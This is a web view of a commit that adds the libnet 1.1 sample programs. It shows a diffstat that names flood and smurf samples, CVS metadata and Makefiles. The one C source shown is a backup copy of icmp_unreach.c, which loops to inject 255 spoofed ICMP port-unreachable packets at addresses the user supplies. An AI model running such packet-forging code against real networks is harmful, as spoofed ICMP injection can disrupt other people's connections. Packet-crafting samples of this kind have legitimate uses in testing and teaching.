summaryrefslogtreecommitdiff
path: root/libnet/sample
diff options
context:
space:
mode:
Diffstat (limited to 'libnet/sample')
-rw-r--r--libnet/sample/.#icmp_unreach.c.1.2190
-rw-r--r--libnet/sample/.icmp_redirect.c.swpbin0 -> 16384 bytes
-rw-r--r--libnet/sample/CVS/Entries47
-rw-r--r--libnet/sample/CVS/Repository1
-rw-r--r--libnet/sample/CVS/Root1
-rw-r--r--libnet/sample/Makefile.am63
-rw-r--r--libnet/sample/Makefile.in729
-rw-r--r--libnet/sample/arp-new.c144
-rw-r--r--libnet/sample/arp.c151
-rw-r--r--libnet/sample/bgp4_hdr.c225
-rw-r--r--libnet/sample/bgp4_notification.c242
-rw-r--r--libnet/sample/bgp4_open.c266
-rw-r--r--libnet/sample/bgp4_update.c337
-rw-r--r--libnet/sample/cdp.c187
-rw-r--r--libnet/sample/dhcp_discover.c257
-rw-r--r--libnet/sample/dns.c260
-rw-r--r--libnet/sample/dot1x.c113
-rw-r--r--libnet/sample/fddi_tcp1.c213
-rw-r--r--libnet/sample/fddi_tcp2.c209
-rw-r--r--libnet/sample/get_addr.c112
-rw-r--r--libnet/sample/gre.c410
-rw-r--r--libnet/sample/icmp6_echoreq.c184
-rw-r--r--libnet/sample/icmp_echo_cq.c201
-rw-r--r--libnet/sample/icmp_redirect.c200
-rw-r--r--libnet/sample/icmp_timeexceed.c190
-rw-r--r--libnet/sample/icmp_timestamp.c157
-rw-r--r--libnet/sample/icmp_unreach.c204
-rw-r--r--libnet/sample/ieee.c177
-rw-r--r--libnet/sample/ip_link.c201
-rw-r--r--libnet/sample/ip_raw.c180
-rw-r--r--libnet/sample/isl.c167
-rw-r--r--libnet/sample/libnet_test.h60
-rw-r--r--libnet/sample/mpls.c251
-rw-r--r--libnet/sample/ntp.c193
-rw-r--r--libnet/sample/ospf_hello.c179
-rw-r--r--libnet/sample/ospf_lsa.c190
-rw-r--r--libnet/sample/ping_of_death.c171
-rw-r--r--libnet/sample/rpc_tcp.c214
-rw-r--r--libnet/sample/rpc_udp.c213
-rw-r--r--libnet/sample/sebek.c299
-rw-r--r--libnet/sample/smurf.c194
-rw-r--r--libnet/sample/stp.c227
-rw-r--r--libnet/sample/synflood.c200
-rw-r--r--libnet/sample/synflood6.c209
-rw-r--r--libnet/sample/synflood6_frag.c234
-rw-r--r--libnet/sample/tcp1.c227
-rw-r--r--libnet/sample/tcp2.c192
-rw-r--r--libnet/sample/tftp.c207
-rw-r--r--libnet/sample/tring_tcp1.c214
-rw-r--r--libnet/sample/tring_tcp2.c210
-rw-r--r--libnet/sample/udp1.c223
-rw-r--r--libnet/sample/udp2.c232
-rw-r--r--libnet/sample/win32/CVS/Entries9
-rw-r--r--libnet/sample/win32/CVS/Repository1
-rw-r--r--libnet/sample/win32/CVS/Root1
-rw-r--r--libnet/sample/win32/arp/CVS/Entries2
-rw-r--r--libnet/sample/win32/arp/CVS/Repository1
-rw-r--r--libnet/sample/win32/arp/CVS/Root1
-rw-r--r--libnet/sample/win32/arp/arp.vcproj136
-rw-r--r--libnet/sample/win32/cdp/CVS/Entries2
-rw-r--r--libnet/sample/win32/cdp/CVS/Repository1
-rw-r--r--libnet/sample/win32/cdp/CVS/Root1
-rw-r--r--libnet/sample/win32/cdp/cdp.vcproj136
-rw-r--r--libnet/sample/win32/dhcp_discover/CVS/Entries2
-rw-r--r--libnet/sample/win32/dhcp_discover/CVS/Repository1
-rw-r--r--libnet/sample/win32/dhcp_discover/CVS/Root1
-rw-r--r--libnet/sample/win32/dhcp_discover/dhcp_discover.vcproj139
-rw-r--r--libnet/sample/win32/dns/CVS/Entries2
-rw-r--r--libnet/sample/win32/dns/CVS/Repository1
-rw-r--r--libnet/sample/win32/dns/CVS/Root1
-rw-r--r--libnet/sample/win32/dns/dns.vcproj139
-rw-r--r--libnet/sample/win32/get_addr/CVS/Entries2
-rw-r--r--libnet/sample/win32/get_addr/CVS/Repository1
-rw-r--r--libnet/sample/win32/get_addr/CVS/Root1
-rw-r--r--libnet/sample/win32/get_addr/get_addr.vcproj139
-rw-r--r--libnet/sample/win32/getopt.c121
-rw-r--r--libnet/sample/win32/icmp_echo_cq/CVS/Entries2
-rw-r--r--libnet/sample/win32/icmp_echo_cq/CVS/Repository1
-rw-r--r--libnet/sample/win32/icmp_echo_cq/CVS/Root1
-rw-r--r--libnet/sample/win32/icmp_echo_cq/icmp_echo_cq.vcproj139
-rw-r--r--libnet/sample/win32/tcp1/CVS/Entries2
-rw-r--r--libnet/sample/win32/tcp1/CVS/Repository1
-rw-r--r--libnet/sample/win32/tcp1/CVS/Root1
-rw-r--r--libnet/sample/win32/tcp1/tcp1.vcproj142
-rw-r--r--libnet/sample/win32/udp1/CVS/Entries3
-rw-r--r--libnet/sample/win32/udp1/CVS/Repository1
-rw-r--r--libnet/sample/win32/udp1/CVS/Root1
-rw-r--r--libnet/sample/win32/udp1/dns.vcproj125
-rw-r--r--libnet/sample/win32/udp1/udp1.vcproj139
89 files changed, 11756 insertions, 0 deletions
diff --git a/libnet/sample/.#icmp_unreach.c.1.2 b/libnet/sample/.#icmp_unreach.c.1.2
new file mode 100644
index 0000000..0c155db
--- /dev/null
+++ b/libnet/sample/.#icmp_unreach.c.1.2
@@ -0,0 +1,190 @@
+/*
+ * $Id: icmp_unreach.c,v 1.2 2004/01/03 20:31:01 mike Exp $
+ *
+ * libnet 1.1
+ * Build an ICMP unreachable packet
+ *
+ * Hacked by Aaron Turner <aturner@pobox.com> to illustrate two bugs
+ *
+ * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com>
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ */
+
+#if (HAVE_CONFIG_H)
+#include "../include/config.h"
+#endif
+#include "./libnet_test.h"
+
+int
+main(int argc, char **argv)
+{
+ int c, i;
+ libnet_t *l = NULL;
+ libnet_ptag_t icmp = 0, ip = 0, eth = 0;
+ u_long src_ip, dst_ip;
+ u_char payload[8] = {0x11, 0x11, 0x22, 0x22, 0x00, 0x08, 0xc6, 0xa5};
+ u_long payload_s = 8;
+ int mode = LIBNET_LINK;
+ char errbuf[LIBNET_ERRBUF_SIZE];
+
+ printf("libnet 1.1 packet shaping: ICMP unreachable[link]\n");
+
+ src_ip = 0;
+ dst_ip = 0;
+
+ while((c = getopt(argc, argv, "d:s:r")) != EOF)
+ {
+ switch (c)
+ {
+ case 'd':
+ if ((dst_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1)
+ {
+ fprintf(stderr, "Bad destination IP address: %s\n", optarg);
+ exit(1);
+ }
+ break;
+ case 's':
+ if ((src_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1)
+ {
+ fprintf(stderr, "Bad source IP address: %s\n", optarg);
+ exit(1);
+ }
+ break;
+ case 'r':
+ mode = LIBNET_RAW4;
+ break;
+ }
+ }
+ if (!src_ip || !dst_ip)
+ {
+ usage(argv[0]);
+ exit(EXIT_FAILURE);
+ }
+
+ /*
+ * Initialize the library. Root priviledges are required.
+ */
+ l = libnet_init(
+ mode, /* injection type */
+ NULL, /* network interface */
+ errbuf); /* errbuf */
+
+ if (l == NULL)
+ {
+ fprintf(stderr, "libnet_init() failed: %s", errbuf);
+ exit(EXIT_FAILURE);
+ }
+
+for (i = 1; i <= 255; i ++) {
+ icmp = libnet_build_icmpv4_unreach(
+ ICMP_UNREACH, /* type */
+ ICMP_UNREACH_PORT, /* code */
+ 0, /* checksum */
+ LIBNET_IPV4_H + payload_s, /* o length */
+ IPTOS_LOWDELAY | IPTOS_THROUGHPUT, /* o IP tos */
+ (u_int16_t)i, /* o IP ID */
+ 0, /* o frag */
+ 64, /* o TTL */
+ IPPROTO_UDP, /* o protocol */
+ 0, /* o checksum */
+ dst_ip, /* o source IP */
+ src_ip, /* o destination IP */
+ payload, /* payload */
+ payload_s, /* payload size */
+ l, /* libnet handle */
+ icmp);
+ if (icmp == -1)
+ {
+ fprintf(stderr, "Can't build ICMP header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ ip = libnet_build_ipv4(
+ LIBNET_IPV4_H + LIBNET_ICMPV4_UNREACH_H +
+ LIBNET_IPV4_H + payload_s, /* length */
+ IPTOS_LOWDELAY | IPTOS_THROUGHPUT, /* TOS */
+ (u_int16_t)i, /* IP ID */
+ 0, /* IP Frag */
+ 64, /* TTL */
+ IPPROTO_ICMP, /* protocol */
+ 0, /* checksum */
+ src_ip, /* source IP */
+ dst_ip, /* destination IP */
+ NULL, /* payload */
+ 0, /* payload size */
+ l, /* libnet handle */
+ ip);
+ if (ip == -1)
+ {
+ fprintf(stderr, "Can't build IP header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ if (mode == LIBNET_LINK) {
+ eth = libnet_build_ethernet(
+ enet_dst, /* ethernet destination */
+ enet_src, /* ethernet source */
+ ETHERTYPE_IP, /* protocol type */
+ NULL, /* payload */
+ 0, /* payload size */
+ l, /* libnet handle */
+ eth); /* libnet id */
+
+ if (eth == -1)
+ {
+ fprintf(stderr, "Can't build ethernet header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+ }
+ /*
+ * Write it to the wire.
+ */
+ libnet_diag_dump_pblock(l);
+ c = libnet_write(l);
+ if (c == -1)
+ {
+ fprintf(stderr, "Write error: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+ else
+ {
+ fprintf(stderr, "Wrote %d byte ICMP packet; check the wire.\n", c);
+ }
+}
+ libnet_destroy(l);
+ return (EXIT_SUCCESS);
+bad:
+ libnet_destroy(l);
+ return (EXIT_FAILURE);
+}
+
+
+void
+usage(char *name)
+{
+ fprintf(stderr, "usage: %s [-r] -s source_ip -d destination_ip\n ", name);
+}
+
+/* EOF */
diff --git a/libnet/sample/.icmp_redirect.c.swp b/libnet/sample/.icmp_redirect.c.swp
new file mode 100644
index 0000000..81794fa
--- /dev/null
+++ b/libnet/sample/.icmp_redirect.c.swp
Binary files differ
diff --git a/libnet/sample/CVS/Entries b/libnet/sample/CVS/Entries
new file mode 100644
index 0000000..e58e91e
--- /dev/null
+++ b/libnet/sample/CVS/Entries
@@ -0,0 +1,47 @@
+/bgp4_hdr.c/1.1.1.1/Thu Jun 26 21:55:11 2003//
+/bgp4_notification.c/1.1.1.1/Thu Jun 26 21:55:11 2003//
+/bgp4_open.c/1.1.1.1/Thu Jun 26 21:55:11 2003//
+/bgp4_update.c/1.1.1.1/Thu Jun 26 21:55:11 2003//
+/cdp.c/1.2/Sat Jan 3 20:31:01 2004//
+/dhcp_discover.c/1.3/Sat Jan 3 20:31:01 2004//
+/dns.c/1.2/Wed Sep 10 18:34:14 2003//
+/dot1x.c/1.2/Sat Jan 3 20:31:01 2004//
+/fddi_tcp1.c/1.1.1.1/Thu Jun 26 21:55:11 2003//
+/fddi_tcp2.c/1.1.1.1/Thu Jun 26 21:55:11 2003//
+/get_addr.c/1.3/Sat Jan 3 20:31:01 2004//
+/icmp6_echoreq.c/1.1.1.1/Thu Jun 26 21:55:10 2003//
+/icmp_echo_cq.c/1.3/Sat Jan 3 20:31:01 2004//
+/icmp_timestamp.c/1.2/Sat Jan 3 20:31:01 2004//
+/ieee.c/1.2/Sat Jan 3 20:31:01 2004//
+/ip_link.c/1.1/Sat Jan 3 20:31:01 2004//
+/isl.c/1.2/Sat Jan 3 20:31:01 2004//
+/ospf_hello.c/1.2/Sat Jan 3 20:31:01 2004//
+/ospf_lsa.c/1.2/Sat Jan 3 20:31:01 2004//
+/ping_of_death.c/1.2/Sat Jan 3 20:31:01 2004//
+/rpc_tcp.c/1.2/Sat Jan 3 20:31:01 2004//
+/rpc_udp.c/1.2/Sat Jan 3 20:31:01 2004//
+/smurf.c/1.2/Sat Jan 3 20:31:01 2004//
+/synflood.c/1.1.1.1/Thu Jun 26 21:55:11 2003//
+/synflood6_frag.c/1.1/Sat Jan 3 20:31:01 2004//
+/tftp.c/1.1/Sat Jan 3 20:31:01 2004//
+/tring_tcp1.c/1.1.1.1/Thu Jun 26 21:55:11 2003//
+/tring_tcp2.c/1.1.1.1/Thu Jun 26 21:55:11 2003//
+D/win32////
+/ip_raw.c/1.1/Sat Jan 3 21:20:30 2004//
+/stp.c/1.3/Wed Jan 21 19:01:29 2004//
+/tcp2.c/1.3/Wed Jan 28 19:45:00 2004//
+/libnet_test.h/1.3/Thu Jan 29 21:17:16 2004//
+/ntp.c/1.3/Fri Feb 20 18:53:49 2004//
+/arp.c/1.6/Mon Mar 1 20:26:12 2004//
+/mpls.c/1.3/Mon Mar 1 20:26:12 2004//
+/synflood6.c/1.2/Mon Mar 1 20:26:12 2004//
+/tcp1.c/1.6/Mon Mar 1 20:26:12 2004//
+/udp1.c/1.6/Mon Mar 1 20:26:12 2004//
+/udp2.c/1.6/Mon Mar 1 20:26:12 2004//
+/Makefile.am/1.5/Thu Mar 11 18:50:20 2004//
+/Makefile.in/1.13/Thu Mar 11 18:50:20 2004//
+/sebek.c/1.1/Wed Mar 10 21:15:18 2004//
+/gre.c/1.4/Tue Mar 16 05:10:54 2004//
+/icmp_redirect.c/1.3/Tue Mar 16 18:40:58 2004//
+/icmp_timeexceed.c/1.3/Tue Mar 16 18:40:58 2004//
+/icmp_unreach.c/1.4/Tue Mar 16 18:40:59 2004//
diff --git a/libnet/sample/CVS/Repository b/libnet/sample/CVS/Repository
new file mode 100644
index 0000000..f7ccbef
--- /dev/null
+++ b/libnet/sample/CVS/Repository
@@ -0,0 +1 @@
+/usr/local/CVS/libnet/sample
diff --git a/libnet/sample/CVS/Root b/libnet/sample/CVS/Root
new file mode 100644
index 0000000..52fa133
--- /dev/null
+++ b/libnet/sample/CVS/Root
@@ -0,0 +1 @@
+mike@66.234.207.232:/usr/local/CVS
diff --git a/libnet/sample/Makefile.am b/libnet/sample/Makefile.am
new file mode 100644
index 0000000..407a784
--- /dev/null
+++ b/libnet/sample/Makefile.am
@@ -0,0 +1,63 @@
+# $Id: Makefile.am,v 1.5 2004/03/11 18:50:20 mike Exp $
+#
+# Libnet automake information file
+# Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com>
+# All rights reserved.
+#
+# Process this file with automake to produce a Makefile.in script.
+
+include $(top_srcdir)/Makefile.am.common
+
+noinst_PROGRAMS = arp cdp dhcp_discover get_addr icmp_timestamp icmp_unreach \
+ ieee isl ntp ospf_hello ospf_lsa ping_of_death stp synflood \
+ tcp1 tcp2 udp1 udp2 synflood6 icmp6_echoreq icmp_echo_cq \
+ smurf dot1x dns rpc_tcp rpc_udp mpls icmp_timeexceed \
+ fddi_tcp1 fddi_tcp2 tring_tcp1 tring_tcp2 icmp_redirect \
+ bgp4_hdr bgp4_open bgp4_update bgp4_notification gre \
+ synflood6_frag tftp ip_link ip_raw sebek
+
+arp_SOURCES = arp.c
+cdp_SOURCES = cdp.c
+dot1x_SOURCES = dot1x.c
+dhcp_discover_SOURCES = dhcp_discover.c
+dns_SOURCES = dns.c
+fddi_tcp1_SOURCES = fddi_tcp1.c
+fddi_tcp2_SOURCES = fddi_tcp2.c
+tring_tcp1_SOURCES = tring_tcp1.c
+tring_tcp2_SOURCES = tring_tcp2.c
+get_addr_SOURCES = get_addr.c
+icmp_echo_cq_SOURCES = icmp_echo_cq.c
+icmp_redirect_SOURCES = icmp_redirect.c
+icmp_timestamp_SOURCES = icmp_timestamp.c
+icmp_timeexceed_SOURCES = icmp_timeexceed.c
+icmp_unreach_SOURCES = icmp_unreach.c
+ieee_SOURCES = ieee.c
+isl_SOURCES = isl.c
+ntp_SOURCES = ntp.c
+ospf_hello_SOURCES = ospf_hello.c
+ospf_lsa_SOURCES = ospf_lsa.c
+ping_of_death_SOURCES = ping_of_death.c
+mpls_SOURCES = mpls.c
+rpc_tcp_SOURCES = rpc_tcp.c
+rpc_udp_SOURCES = rpc_udp.c
+stp_SOURCES = stp.c
+synflood_SOURCES = synflood.c
+tcp1_SOURCES = tcp1.c
+tcp2_SOURCES = tcp2.c
+tftp_SOURCES = tftp.c
+udp1_SOURCES = udp1.c
+udp2_SOURCES = udp2.c
+icmp6_echoreq_SOURCES = icmp6_echoreq.c
+smurf_SOURCES = smurf.c
+synflood6_SOURCES = synflood6.c
+synflood6_frag_SOURCES = synflood6_frag.c
+bgp4_hdr_SOURCES = bgp4_hdr.c
+bgp4_open_SOURCES = bgp4_open.c
+bgp4_update_SOURCES = bgp4_update.c
+bgp4_notification_SOURCES = bgp4_notification.c
+gre_SOURCES = gre.c
+ip_raw_SOURCES = ip_raw.c
+ip_link_SOURCES = ip_link.c
+sebek_SOURCES = sebek.c
+
+LDADD = $(top_srcdir)/src/libnet.a
diff --git a/libnet/sample/Makefile.in b/libnet/sample/Makefile.in
new file mode 100644
index 0000000..2909851
--- /dev/null
+++ b/libnet/sample/Makefile.in
@@ -0,0 +1,729 @@
+# Makefile.in generated by automake 1.6.3 from Makefile.am.
+# @configure_input@
+
+# Copyright 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002
+# Free Software Foundation, Inc.
+# This Makefile.in is free software; the Free Software Foundation
+# gives unlimited permission to copy and/or distribute it,
+# with or without modifications, as long as this notice is preserved.
+
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY, to the extent permitted by law; without
+# even the implied warranty of MERCHANTABILITY or FITNESS FOR A
+# PARTICULAR PURPOSE.
+
+@SET_MAKE@
+
+# $Id: Makefile.in,v 1.13 2004/03/11 18:50:20 mike Exp $
+#
+# Libnet automake information file
+# Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com>
+# All rights reserved.
+#
+# Process this file with automake to produce a Makefile.in script.
+
+# $Id: Makefile.in,v 1.13 2004/03/11 18:50:20 mike Exp $
+#
+# Libnet automake information file
+# Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com>
+# All rights reserved.
+#
+SHELL = @SHELL@
+
+srcdir = @srcdir@
+top_srcdir = @top_srcdir@
+VPATH = @srcdir@
+prefix = @prefix@
+exec_prefix = @exec_prefix@
+
+bindir = @bindir@
+sbindir = @sbindir@
+libexecdir = @libexecdir@
+datadir = @datadir@
+sysconfdir = @sysconfdir@
+sharedstatedir = @sharedstatedir@
+localstatedir = @localstatedir@
+libdir = @libdir@
+infodir = @infodir@
+mandir = @mandir@
+includedir = @includedir@
+oldincludedir = /usr/include
+pkgdatadir = $(datadir)/@PACKAGE@
+pkglibdir = $(libdir)/@PACKAGE@
+pkgincludedir = $(includedir)/@PACKAGE@
+top_builddir = ..
+
+ACLOCAL = @ACLOCAL@
+AUTOCONF = @AUTOCONF@
+AUTOMAKE = @AUTOMAKE@
+AUTOHEADER = @AUTOHEADER@
+
+am__cd = CDPATH="$${ZSH_VERSION+.}$(PATH_SEPARATOR)" && cd
+INSTALL = @INSTALL@
+INSTALL_PROGRAM = @INSTALL_PROGRAM@
+INSTALL_DATA = @INSTALL_DATA@
+install_sh_DATA = $(install_sh) -c -m 644
+install_sh_PROGRAM = $(install_sh) -c
+install_sh_SCRIPT = $(install_sh) -c
+INSTALL_SCRIPT = @INSTALL_SCRIPT@
+INSTALL_HEADER = $(INSTALL_DATA)
+transform = @program_transform_name@
+NORMAL_INSTALL = :
+PRE_INSTALL = :
+POST_INSTALL = :
+NORMAL_UNINSTALL = :
+PRE_UNINSTALL = :
+POST_UNINSTALL = :
+build_alias = @build_alias@
+build_triplet = @build@
+host_alias = @host_alias@
+host_triplet = @host@
+target_alias = @target_alias@
+target_triplet = @target@
+
+EXEEXT = @EXEEXT@
+OBJEXT = @OBJEXT@
+PATH_SEPARATOR = @PATH_SEPARATOR@
+ADDITIONAL_LIBS = @ADDITIONAL_LIBS@
+AMTAR = @AMTAR@
+AWK = @AWK@
+CC = @CC@
+DEPDIR = @DEPDIR@
+ENDIANESS = @ENDIANESS@
+HAVE_PACKET_SOCKET = @HAVE_PACKET_SOCKET@
+INSTALL_STRIP_PROGRAM = @INSTALL_STRIP_PROGRAM@
+LIBNET_CONFIG_CFLAGS = @LIBNET_CONFIG_CFLAGS@
+LIBNET_CONFIG_DEFINES = @LIBNET_CONFIG_DEFINES@
+LIBNET_CONFIG_LIBS = @LIBNET_CONFIG_LIBS@
+LIBNET_VERSION = @LIBNET_VERSION@
+MAINT = @MAINT@
+PACKAGE = @PACKAGE@
+RANLIB = @RANLIB@
+STRIP = @STRIP@
+VERSION = @VERSION@
+am__include = @am__include@
+am__quote = @am__quote@
+install_sh = @install_sh@
+
+AUTOMAKE_OPTIONS = foreign no-dependencies
+
+DISTCLEANFILES = *~
+
+noinst_PROGRAMS = arp cdp dhcp_discover get_addr icmp_timestamp icmp_unreach \
+ ieee isl ntp ospf_hello ospf_lsa ping_of_death stp synflood \
+ tcp1 tcp2 udp1 udp2 synflood6 icmp6_echoreq icmp_echo_cq \
+ smurf dot1x dns rpc_tcp rpc_udp mpls icmp_timeexceed \
+ fddi_tcp1 fddi_tcp2 tring_tcp1 tring_tcp2 icmp_redirect \
+ bgp4_hdr bgp4_open bgp4_update bgp4_notification gre \
+ synflood6_frag tftp ip_link ip_raw sebek
+
+
+arp_SOURCES = arp.c
+cdp_SOURCES = cdp.c
+dot1x_SOURCES = dot1x.c
+dhcp_discover_SOURCES = dhcp_discover.c
+dns_SOURCES = dns.c
+fddi_tcp1_SOURCES = fddi_tcp1.c
+fddi_tcp2_SOURCES = fddi_tcp2.c
+tring_tcp1_SOURCES = tring_tcp1.c
+tring_tcp2_SOURCES = tring_tcp2.c
+get_addr_SOURCES = get_addr.c
+icmp_echo_cq_SOURCES = icmp_echo_cq.c
+icmp_redirect_SOURCES = icmp_redirect.c
+icmp_timestamp_SOURCES = icmp_timestamp.c
+icmp_timeexceed_SOURCES = icmp_timeexceed.c
+icmp_unreach_SOURCES = icmp_unreach.c
+ieee_SOURCES = ieee.c
+isl_SOURCES = isl.c
+ntp_SOURCES = ntp.c
+ospf_hello_SOURCES = ospf_hello.c
+ospf_lsa_SOURCES = ospf_lsa.c
+ping_of_death_SOURCES = ping_of_death.c
+mpls_SOURCES = mpls.c
+rpc_tcp_SOURCES = rpc_tcp.c
+rpc_udp_SOURCES = rpc_udp.c
+stp_SOURCES = stp.c
+synflood_SOURCES = synflood.c
+tcp1_SOURCES = tcp1.c
+tcp2_SOURCES = tcp2.c
+tftp_SOURCES = tftp.c
+udp1_SOURCES = udp1.c
+udp2_SOURCES = udp2.c
+icmp6_echoreq_SOURCES = icmp6_echoreq.c
+smurf_SOURCES = smurf.c
+synflood6_SOURCES = synflood6.c
+synflood6_frag_SOURCES = synflood6_frag.c
+bgp4_hdr_SOURCES = bgp4_hdr.c
+bgp4_open_SOURCES = bgp4_open.c
+bgp4_update_SOURCES = bgp4_update.c
+bgp4_notification_SOURCES = bgp4_notification.c
+gre_SOURCES = gre.c
+ip_raw_SOURCES = ip_raw.c
+ip_link_SOURCES = ip_link.c
+sebek_SOURCES = sebek.c
+
+LDADD = $(top_srcdir)/src/libnet.a
+subdir = sample
+mkinstalldirs = $(SHELL) $(top_srcdir)/mkinstalldirs
+CONFIG_HEADER = $(top_builddir)/include/config.h
+CONFIG_CLEAN_FILES =
+noinst_PROGRAMS = arp$(EXEEXT) cdp$(EXEEXT) dhcp_discover$(EXEEXT) \
+ get_addr$(EXEEXT) icmp_timestamp$(EXEEXT) icmp_unreach$(EXEEXT) \
+ ieee$(EXEEXT) isl$(EXEEXT) ntp$(EXEEXT) ospf_hello$(EXEEXT) \
+ ospf_lsa$(EXEEXT) ping_of_death$(EXEEXT) stp$(EXEEXT) \
+ synflood$(EXEEXT) tcp1$(EXEEXT) tcp2$(EXEEXT) udp1$(EXEEXT) \
+ udp2$(EXEEXT) synflood6$(EXEEXT) icmp6_echoreq$(EXEEXT) \
+ icmp_echo_cq$(EXEEXT) smurf$(EXEEXT) dot1x$(EXEEXT) \
+ dns$(EXEEXT) rpc_tcp$(EXEEXT) rpc_udp$(EXEEXT) mpls$(EXEEXT) \
+ icmp_timeexceed$(EXEEXT) fddi_tcp1$(EXEEXT) fddi_tcp2$(EXEEXT) \
+ tring_tcp1$(EXEEXT) tring_tcp2$(EXEEXT) icmp_redirect$(EXEEXT) \
+ bgp4_hdr$(EXEEXT) bgp4_open$(EXEEXT) bgp4_update$(EXEEXT) \
+ bgp4_notification$(EXEEXT) gre$(EXEEXT) synflood6_frag$(EXEEXT) \
+ tftp$(EXEEXT) ip_link$(EXEEXT) ip_raw$(EXEEXT) sebek$(EXEEXT)
+PROGRAMS = $(noinst_PROGRAMS)
+
+am_arp_OBJECTS = arp.$(OBJEXT)
+arp_OBJECTS = $(am_arp_OBJECTS)
+arp_LDADD = $(LDADD)
+arp_DEPENDENCIES = $(top_srcdir)/src/libnet.a
+arp_LDFLAGS =
+am_bgp4_hdr_OBJECTS = bgp4_hdr.$(OBJEXT)
+bgp4_hdr_OBJECTS = $(am_bgp4_hdr_OBJECTS)
+bgp4_hdr_LDADD = $(LDADD)
+bgp4_hdr_DEPENDENCIES = $(top_srcdir)/src/libnet.a
+bgp4_hdr_LDFLAGS =
+am_bgp4_notification_OBJECTS = bgp4_notification.$(OBJEXT)
+bgp4_notification_OBJECTS = $(am_bgp4_notification_OBJECTS)
+bgp4_notification_LDADD = $(LDADD)
+bgp4_notification_DEPENDENCIES = $(top_srcdir)/src/libnet.a
+bgp4_notification_LDFLAGS =
+am_bgp4_open_OBJECTS = bgp4_open.$(OBJEXT)
+bgp4_open_OBJECTS = $(am_bgp4_open_OBJECTS)
+bgp4_open_LDADD = $(LDADD)
+bgp4_open_DEPENDENCIES = $(top_srcdir)/src/libnet.a
+bgp4_open_LDFLAGS =
+am_bgp4_update_OBJECTS = bgp4_update.$(OBJEXT)
+bgp4_update_OBJECTS = $(am_bgp4_update_OBJECTS)
+bgp4_update_LDADD = $(LDADD)
+bgp4_update_DEPENDENCIES = $(top_srcdir)/src/libnet.a
+bgp4_update_LDFLAGS =
+am_cdp_OBJECTS = cdp.$(OBJEXT)
+cdp_OBJECTS = $(am_cdp_OBJECTS)
+cdp_LDADD = $(LDADD)
+cdp_DEPENDENCIES = $(top_srcdir)/src/libnet.a
+cdp_LDFLAGS =
+am_dhcp_discover_OBJECTS = dhcp_discover.$(OBJEXT)
+dhcp_discover_OBJECTS = $(am_dhcp_discover_OBJECTS)
+dhcp_discover_LDADD = $(LDADD)
+dhcp_discover_DEPENDENCIES = $(top_srcdir)/src/libnet.a
+dhcp_discover_LDFLAGS =
+am_dns_OBJECTS = dns.$(OBJEXT)
+dns_OBJECTS = $(am_dns_OBJECTS)
+dns_LDADD = $(LDADD)
+dns_DEPENDENCIES = $(top_srcdir)/src/libnet.a
+dns_LDFLAGS =
+am_dot1x_OBJECTS = dot1x.$(OBJEXT)
+dot1x_OBJECTS = $(am_dot1x_OBJECTS)
+dot1x_LDADD = $(LDADD)
+dot1x_DEPENDENCIES = $(top_srcdir)/src/libnet.a
+dot1x_LDFLAGS =
+am_fddi_tcp1_OBJECTS = fddi_tcp1.$(OBJEXT)
+fddi_tcp1_OBJECTS = $(am_fddi_tcp1_OBJECTS)
+fddi_tcp1_LDADD = $(LDADD)
+fddi_tcp1_DEPENDENCIES = $(top_srcdir)/src/libnet.a
+fddi_tcp1_LDFLAGS =
+am_fddi_tcp2_OBJECTS = fddi_tcp2.$(OBJEXT)
+fddi_tcp2_OBJECTS = $(am_fddi_tcp2_OBJECTS)
+fddi_tcp2_LDADD = $(LDADD)
+fddi_tcp2_DEPENDENCIES = $(top_srcdir)/src/libnet.a
+fddi_tcp2_LDFLAGS =
+am_get_addr_OBJECTS = get_addr.$(OBJEXT)
+get_addr_OBJECTS = $(am_get_addr_OBJECTS)
+get_addr_LDADD = $(LDADD)
+get_addr_DEPENDENCIES = $(top_srcdir)/src/libnet.a
+get_addr_LDFLAGS =
+am_gre_OBJECTS = gre.$(OBJEXT)
+gre_OBJECTS = $(am_gre_OBJECTS)
+gre_LDADD = $(LDADD)
+gre_DEPENDENCIES = $(top_srcdir)/src/libnet.a
+gre_LDFLAGS =
+am_icmp6_echoreq_OBJECTS = icmp6_echoreq.$(OBJEXT)
+icmp6_echoreq_OBJECTS = $(am_icmp6_echoreq_OBJECTS)
+icmp6_echoreq_LDADD = $(LDADD)
+icmp6_echoreq_DEPENDENCIES = $(top_srcdir)/src/libnet.a
+icmp6_echoreq_LDFLAGS =
